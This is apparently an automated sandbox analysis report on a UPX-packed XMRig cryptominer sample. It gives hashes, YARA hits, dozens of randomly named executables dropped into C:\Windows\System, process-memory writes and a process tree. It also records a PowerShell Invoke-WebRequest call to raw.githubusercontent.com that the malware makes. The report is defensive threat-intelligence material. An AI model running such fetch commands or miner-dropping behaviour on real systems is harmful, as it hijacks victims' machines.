xmrig | 11389896be0a33c30fc790178f6dbb58719195ae4ed0432f262205464cf2949e

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 04:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
Size

2.2MB
MD5

026e26675c8150183382dec8b63b581e
SHA1

5228f777f26e9e0375f4ccb567c44f2bafa48958
SHA256

11389896be0a33c30fc790178f6dbb58719195ae4ed0432f262205464cf2949e
SHA512

6c30099e9311f9f523f65b04407e87a1cb4153fd2870ddcf148135917f6eb651f26b1562a9cf47fab662e2d897e301402b8732a4585b8a16a5a52dab07397b69
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfMgX:NABG

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral2/memory/3076-141-0x00007FF67C300000-0x00007FF67C6F2000-memory.dmp	xmrig
behavioral2/memory/2328-158-0x00007FF7348D0000-0x00007FF734CC2000-memory.dmp	xmrig
behavioral2/memory/2880-167-0x00007FF7FACD0000-0x00007FF7FB0C2000-memory.dmp	xmrig
behavioral2/memory/4120-166-0x00007FF68D210000-0x00007FF68D602000-memory.dmp	xmrig
behavioral2/memory/4456-165-0x00007FF6555F0000-0x00007FF6559E2000-memory.dmp	xmrig
behavioral2/memory/2904-164-0x00007FF6D3AE0000-0x00007FF6D3ED2000-memory.dmp	xmrig
behavioral2/memory/2144-156-0x00007FF682630000-0x00007FF682A22000-memory.dmp	xmrig
behavioral2/memory/3496-155-0x00007FF62F4B0000-0x00007FF62F8A2000-memory.dmp	xmrig
behavioral2/memory/4628-143-0x00007FF7FC050000-0x00007FF7FC442000-memory.dmp	xmrig
behavioral2/memory/4896-142-0x00007FF726E30000-0x00007FF727222000-memory.dmp	xmrig
behavioral2/memory/968-139-0x00007FF7CE030000-0x00007FF7CE422000-memory.dmp	xmrig
behavioral2/memory/2904-4096-0x00007FF6D3AE0000-0x00007FF6D3ED2000-memory.dmp	xmrig
behavioral2/memory/440-4101-0x00007FF639420000-0x00007FF639812000-memory.dmp	xmrig
behavioral2/memory/3628-4100-0x00007FF747B30000-0x00007FF747F22000-memory.dmp	xmrig
behavioral2/memory/4628-4171-0x00007FF7FC050000-0x00007FF7FC442000-memory.dmp	xmrig
behavioral2/memory/2328-4169-0x00007FF7348D0000-0x00007FF734CC2000-memory.dmp	xmrig
behavioral2/memory/4120-4168-0x00007FF68D210000-0x00007FF68D602000-memory.dmp	xmrig
behavioral2/memory/4456-4167-0x00007FF6555F0000-0x00007FF6559E2000-memory.dmp	xmrig
behavioral2/memory/4896-4134-0x00007FF726E30000-0x00007FF727222000-memory.dmp	xmrig
behavioral2/memory/2880-4118-0x00007FF7FACD0000-0x00007FF7FB0C2000-memory.dmp	xmrig
behavioral2/memory/3496-4114-0x00007FF62F4B0000-0x00007FF62F8A2000-memory.dmp	xmrig
behavioral2/memory/3076-4108-0x00007FF67C300000-0x00007FF67C6F2000-memory.dmp	xmrig
behavioral2/memory/4564-5406-0x00007FF607A80000-0x00007FF607E72000-memory.dmp	xmrig
behavioral2/memory/4912-5407-0x00007FF6B83E0000-0x00007FF6B87D2000-memory.dmp	xmrig
behavioral2/memory/5048-5410-0x00007FF612A60000-0x00007FF612E52000-memory.dmp	xmrig
behavioral2/memory/1788-5411-0x00007FF7BECE0000-0x00007FF7BF0D2000-memory.dmp	xmrig
behavioral2/memory/3960-5409-0x00007FF6AF840000-0x00007FF6AFC32000-memory.dmp	xmrig
behavioral2/memory/5068-5408-0x00007FF63A020000-0x00007FF63A412000-memory.dmp	xmrig
behavioral2/memory/3960-5797-0x00007FF6AF840000-0x00007FF6AFC32000-memory.dmp	xmrig
behavioral2/memory/4912-5828-0x00007FF6B83E0000-0x00007FF6B87D2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
2308	UuvNRtS.exe
2904	LrMeGPT.exe
3628	znxKPLL.exe
440	fOKGYRN.exe
4456	hnVCNZQ.exe
968	jBTUaNI.exe
3076	SUzpQkA.exe
4120	DJEoHfK.exe
2880	BMrvzqm.exe
4896	zXRvRED.exe
4628	ftXkRbe.exe
2932	UEVbPyN.exe
3496	qOjmTYf.exe
2144	sqKBDuZ.exe
4564	wzWSoBx.exe
2328	AxIFIdL.exe
4912	xGwGHuh.exe
5068	IAPGDTp.exe
3960	cyiDGal.exe
5048	aCakXcC.exe
1788	JyGDifP.exe
2072	JSUPDmW.exe
2432	AgIXLtz.exe
4988	iTbOEFc.exe
2264	lhGymwJ.exe
4944	lkwLuwE.exe
2784	KMMKSky.exe
3428	VKRawoj.exe
4528	SycQdha.exe
4640	HrYcOyt.exe
2716	zOFDapz.exe
1452	avdLfBv.exe
4360	vLBlhhy.exe
4300	PfHxnvc.exe
1052	qSRbnZj.exe
4932	wAETDdx.exe
4320	YoUVQeW.exe
4492	EezCKRI.exe
3488	vKZrFkb.exe
672	OcxAsKF.exe
1956	YBXxrVD.exe
3764	UDPyeuW.exe
3432	ppEouVH.exe
2876	WAyKbsC.exe
5080	yUnSajw.exe
3648	xnNEKGL.exe
4136	deVBles.exe
3760	yutlTha.exe
2184	iigiATb.exe
3536	gVwYsZk.exe
2656	XaOvynl.exe
3668	PzTqWpm.exe
3140	EWlzFss.exe
3032	SAqyeHh.exe
1644	vWgMVoc.exe
2248	pABgWlS.exe
400	GSzwshz.exe
1860	vhZLtWZ.exe
2392	xplKdLX.exe
1040	fEOLbCF.exe
1996	lkeTlMc.exe
4032	LkRlgXE.exe
412	uUtNXSK.exe
4312	RoEFnga.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4472-0-0x00007FF785CE0000-0x00007FF7860D2000-memory.dmp	upx
behavioral2/files/0x000b000000023b92-5.dat	upx
behavioral2/files/0x000a000000023b99-23.dat	upx
behavioral2/files/0x000a000000023ba5-82.dat	upx
behavioral2/files/0x000a000000023bb3-133.dat	upx
behavioral2/memory/3076-141-0x00007FF67C300000-0x00007FF67C6F2000-memory.dmp	upx
behavioral2/memory/2328-158-0x00007FF7348D0000-0x00007FF734CC2000-memory.dmp	upx
behavioral2/memory/1788-163-0x00007FF7BECE0000-0x00007FF7BF0D2000-memory.dmp	upx
behavioral2/memory/2880-167-0x00007FF7FACD0000-0x00007FF7FB0C2000-memory.dmp	upx
behavioral2/memory/4120-166-0x00007FF68D210000-0x00007FF68D602000-memory.dmp	upx
behavioral2/memory/4456-165-0x00007FF6555F0000-0x00007FF6559E2000-memory.dmp	upx
behavioral2/memory/2904-164-0x00007FF6D3AE0000-0x00007FF6D3ED2000-memory.dmp	upx
behavioral2/memory/5048-162-0x00007FF612A60000-0x00007FF612E52000-memory.dmp	upx
behavioral2/memory/3960-161-0x00007FF6AF840000-0x00007FF6AFC32000-memory.dmp	upx
behavioral2/memory/5068-160-0x00007FF63A020000-0x00007FF63A412000-memory.dmp	upx
behavioral2/memory/4912-159-0x00007FF6B83E0000-0x00007FF6B87D2000-memory.dmp	upx
behavioral2/memory/4564-157-0x00007FF607A80000-0x00007FF607E72000-memory.dmp	upx
behavioral2/memory/2144-156-0x00007FF682630000-0x00007FF682A22000-memory.dmp	upx
behavioral2/memory/3496-155-0x00007FF62F4B0000-0x00007FF62F8A2000-memory.dmp	upx
behavioral2/memory/2932-154-0x00007FF643170000-0x00007FF643562000-memory.dmp	upx
behavioral2/memory/4628-143-0x00007FF7FC050000-0x00007FF7FC442000-memory.dmp	upx
behavioral2/memory/4896-142-0x00007FF726E30000-0x00007FF727222000-memory.dmp	upx
behavioral2/files/0x000a000000023bac-140.dat	upx
behavioral2/memory/968-139-0x00007FF7CE030000-0x00007FF7CE422000-memory.dmp	upx
behavioral2/files/0x000a000000023bab-138.dat	upx
behavioral2/files/0x000a000000023baa-137.dat	upx
behavioral2/files/0x000a000000023ba9-136.dat	upx
behavioral2/files/0x000a000000023ba8-135.dat	upx
behavioral2/files/0x000a000000023ba7-134.dat	upx
behavioral2/files/0x000a000000023ba0-132.dat	upx
behavioral2/files/0x000a000000023ba6-131.dat	upx
behavioral2/files/0x000a000000023bb2-130.dat	upx
behavioral2/files/0x000a000000023bb1-129.dat	upx
behavioral2/files/0x000a000000023bb0-128.dat	upx
behavioral2/files/0x000a000000023baf-124.dat	upx
behavioral2/files/0x000a000000023bae-123.dat	upx
behavioral2/files/0x000a000000023ba3-122.dat	upx
behavioral2/files/0x000a000000023bad-121.dat	upx
behavioral2/files/0x000a000000023b9c-115.dat	upx
behavioral2/files/0x000a000000023b9f-107.dat	upx
behavioral2/files/0x000a000000023b9e-103.dat	upx
behavioral2/files/0x000a000000023ba4-95.dat	upx
behavioral2/files/0x000a000000023ba2-89.dat	upx
behavioral2/files/0x000a000000023ba1-85.dat	upx
behavioral2/files/0x000a000000023b9b-77.dat	upx
behavioral2/files/0x000a000000023b9d-67.dat	upx
behavioral2/files/0x000a000000023b98-48.dat	upx
behavioral2/files/0x000a000000023b9a-40.dat	upx
behavioral2/memory/3628-33-0x00007FF747B30000-0x00007FF747F22000-memory.dmp	upx
behavioral2/files/0x000a000000023b96-52.dat	upx
behavioral2/files/0x000a000000023b97-45.dat	upx
behavioral2/memory/440-37-0x00007FF639420000-0x00007FF639812000-memory.dmp	upx
behavioral2/memory/2308-18-0x00007FF70B3E0000-0x00007FF70B7D2000-memory.dmp	upx
behavioral2/files/0x000b000000023bb5-211.dat	upx
behavioral2/files/0x000a000000023bb4-206.dat	upx
behavioral2/files/0x000b000000023b93-208.dat	upx
behavioral2/memory/2904-4096-0x00007FF6D3AE0000-0x00007FF6D3ED2000-memory.dmp	upx
behavioral2/memory/440-4101-0x00007FF639420000-0x00007FF639812000-memory.dmp	upx
behavioral2/memory/3628-4100-0x00007FF747B30000-0x00007FF747F22000-memory.dmp	upx
behavioral2/memory/4628-4171-0x00007FF7FC050000-0x00007FF7FC442000-memory.dmp	upx
behavioral2/memory/2328-4169-0x00007FF7348D0000-0x00007FF734CC2000-memory.dmp	upx
behavioral2/memory/4120-4168-0x00007FF68D210000-0x00007FF68D602000-memory.dmp	upx
behavioral2/memory/4456-4167-0x00007FF6555F0000-0x00007FF6559E2000-memory.dmp	upx
behavioral2/memory/4896-4134-0x00007FF726E30000-0x00007FF727222000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\JlGMLjS.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\RtWxKWK.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\ThyySaB.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\fXjlYJz.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\snpysBD.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\wlzXVuN.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\IqbkgjQ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\YxEqUxR.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\CZOFhUi.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\yJJZFVO.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\hysSblr.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\hlkFMdn.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\LWEOCjT.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\NccFeuQ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\PyFtFIR.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\ZDyiRBZ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\AFExFIz.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\wOYhucu.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\QcaoeXm.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\SMiajLy.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\xmmboIE.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\scohYxL.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\ydqTskZ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\AjLqZGH.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\ClMuzTL.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\UuLtuEc.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\NkqYPpw.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\gXXcZrQ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\HdhDfHb.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\kdSdrqL.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\SWLIEOI.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\RXMwEMY.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\NsYOKhj.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\yNXZGWD.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\bCNOmuE.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\sKZjDSC.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\IihivlH.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\jIzKosk.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\Tmtkezx.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\MgfJSjE.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\NnwEcfJ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\PBMJabb.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\jvebPMh.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\YzSUfzm.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\rvWPeMA.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\YAgBWDl.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\BIXgvBc.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\VjFnCyd.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\gAgCpKs.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\rlgupFd.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\WJqOxbW.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\rktCopI.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\zurWtYf.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\GjYEyFN.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\ehwTcyF.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\UDhijiJ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\dTVTReL.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\NsaypsB.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\HJIFDyh.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\mZMnDGl.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\FaVwhIU.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\CPPvwzG.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\jFVrnuQ.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
File created	C:\Windows\System\gtTgfWl.exe	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeLockMemoryPrivilege	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4472 wrote to memory of 4204	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	86
PID 4472 wrote to memory of 4204	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	86
PID 4472 wrote to memory of 2308	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	87
PID 4472 wrote to memory of 2308	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	87
PID 4472 wrote to memory of 2904	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	88
PID 4472 wrote to memory of 2904	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	88
PID 4472 wrote to memory of 3628	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	89
PID 4472 wrote to memory of 3628	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	89
PID 4472 wrote to memory of 440	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	90
PID 4472 wrote to memory of 440	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	90
PID 4472 wrote to memory of 4456	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	91
PID 4472 wrote to memory of 4456	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	91
PID 4472 wrote to memory of 968	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	92
PID 4472 wrote to memory of 968	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	92
PID 4472 wrote to memory of 3076	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	93
PID 4472 wrote to memory of 3076	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	93
PID 4472 wrote to memory of 4120	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	94
PID 4472 wrote to memory of 4120	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	94
PID 4472 wrote to memory of 2880	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	95
PID 4472 wrote to memory of 2880	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	95
PID 4472 wrote to memory of 4896	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	96
PID 4472 wrote to memory of 4896	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	96
PID 4472 wrote to memory of 4628	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	97
PID 4472 wrote to memory of 4628	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	97
PID 4472 wrote to memory of 2932	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	98
PID 4472 wrote to memory of 2932	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	98
PID 4472 wrote to memory of 3496	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	99
PID 4472 wrote to memory of 3496	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	99
PID 4472 wrote to memory of 2144	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	100
PID 4472 wrote to memory of 2144	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	100
PID 4472 wrote to memory of 4564	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	101
PID 4472 wrote to memory of 4564	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	101
PID 4472 wrote to memory of 2328	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	102
PID 4472 wrote to memory of 2328	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	102
PID 4472 wrote to memory of 4912	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	103
PID 4472 wrote to memory of 4912	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	103
PID 4472 wrote to memory of 5068	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	104
PID 4472 wrote to memory of 5068	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	104
PID 4472 wrote to memory of 3960	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	105
PID 4472 wrote to memory of 3960	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	105
PID 4472 wrote to memory of 5048	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	106
PID 4472 wrote to memory of 5048	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	106
PID 4472 wrote to memory of 1788	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	107
PID 4472 wrote to memory of 1788	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	107
PID 4472 wrote to memory of 2072	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	108
PID 4472 wrote to memory of 2072	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	108
PID 4472 wrote to memory of 2432	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	109
PID 4472 wrote to memory of 2432	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	109
PID 4472 wrote to memory of 4988	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	110
PID 4472 wrote to memory of 4988	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	110
PID 4472 wrote to memory of 2264	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	111
PID 4472 wrote to memory of 2264	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	111
PID 4472 wrote to memory of 4944	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	112
PID 4472 wrote to memory of 4944	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	112
PID 4472 wrote to memory of 2784	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	113
PID 4472 wrote to memory of 2784	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	113
PID 4472 wrote to memory of 3428	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	114
PID 4472 wrote to memory of 3428	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	114
PID 4472 wrote to memory of 4528	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	115
PID 4472 wrote to memory of 4528	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	115
PID 4472 wrote to memory of 4640	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	116
PID 4472 wrote to memory of 4640	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	116
PID 4472 wrote to memory of 2716	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	117
PID 4472 wrote to memory of 2716	4472	026e26675c8150183382dec8b63b581e_JaffaCakes118.exe	117

C:\Users\Admin\AppData\Local\Temp\026e26675c8150183382dec8b63b581e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\026e26675c8150183382dec8b63b581e_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4204
- C:\Windows\System\UuvNRtS.exe
  C:\Windows\System\UuvNRtS.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Windows\System\LrMeGPT.exe
  C:\Windows\System\LrMeGPT.exe
  2⤵
  - Executes dropped EXE
  PID:2904
- C:\Windows\System\znxKPLL.exe
  C:\Windows\System\znxKPLL.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\fOKGYRN.exe
  C:\Windows\System\fOKGYRN.exe
  2⤵
  - Executes dropped EXE
  PID:440
- C:\Windows\System\hnVCNZQ.exe
  C:\Windows\System\hnVCNZQ.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\jBTUaNI.exe
  C:\Windows\System\jBTUaNI.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System\SUzpQkA.exe
  C:\Windows\System\SUzpQkA.exe
  2⤵
  - Executes dropped EXE
  PID:3076
- C:\Windows\System\DJEoHfK.exe
  C:\Windows\System\DJEoHfK.exe
  2⤵
  - Executes dropped EXE
  PID:4120
- C:\Windows\System\BMrvzqm.exe
  C:\Windows\System\BMrvzqm.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\zXRvRED.exe
  C:\Windows\System\zXRvRED.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\ftXkRbe.exe
  C:\Windows\System\ftXkRbe.exe
  2⤵
  - Executes dropped EXE
  PID:4628
- C:\Windows\System\UEVbPyN.exe
  C:\Windows\System\UEVbPyN.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\qOjmTYf.exe
  C:\Windows\System\qOjmTYf.exe
  2⤵
  - Executes dropped EXE
  PID:3496
- C:\Windows\System\sqKBDuZ.exe
  C:\Windows\System\sqKBDuZ.exe
  2⤵
  - Executes dropped EXE
  PID:2144
- C:\Windows\System\wzWSoBx.exe
  C:\Windows\System\wzWSoBx.exe
  2⤵
  - Executes dropped EXE
  PID:4564
- C:\Windows\System\AxIFIdL.exe
  C:\Windows\System\AxIFIdL.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\xGwGHuh.exe
  C:\Windows\System\xGwGHuh.exe
  2⤵
  - Executes dropped EXE
  PID:4912
- C:\Windows\System\IAPGDTp.exe
  C:\Windows\System\IAPGDTp.exe
  2⤵
  - Executes dropped EXE
  PID:5068
- C:\Windows\System\cyiDGal.exe
  C:\Windows\System\cyiDGal.exe
  2⤵
  - Executes dropped EXE
  PID:3960
- C:\Windows\System\aCakXcC.exe
  C:\Windows\System\aCakXcC.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\JyGDifP.exe
  C:\Windows\System\JyGDifP.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\JSUPDmW.exe
  C:\Windows\System\JSUPDmW.exe
  2⤵
  - Executes dropped EXE
  PID:2072
- C:\Windows\System\AgIXLtz.exe
  C:\Windows\System\AgIXLtz.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\iTbOEFc.exe
  C:\Windows\System\iTbOEFc.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\lhGymwJ.exe
  C:\Windows\System\lhGymwJ.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\lkwLuwE.exe
  C:\Windows\System\lkwLuwE.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\KMMKSky.exe
  C:\Windows\System\KMMKSky.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\VKRawoj.exe
  C:\Windows\System\VKRawoj.exe
  2⤵
  - Executes dropped EXE
  PID:3428
- C:\Windows\System\SycQdha.exe
  C:\Windows\System\SycQdha.exe
  2⤵
  - Executes dropped EXE
  PID:4528
- C:\Windows\System\HrYcOyt.exe
  C:\Windows\System\HrYcOyt.exe
  2⤵
  - Executes dropped EXE
  PID:4640
- C:\Windows\System\zOFDapz.exe
  C:\Windows\System\zOFDapz.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\avdLfBv.exe
  C:\Windows\System\avdLfBv.exe
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Windows\System\vLBlhhy.exe
  C:\Windows\System\vLBlhhy.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\PfHxnvc.exe
  C:\Windows\System\PfHxnvc.exe
  2⤵
  - Executes dropped EXE
  PID:4300
- C:\Windows\System\EezCKRI.exe
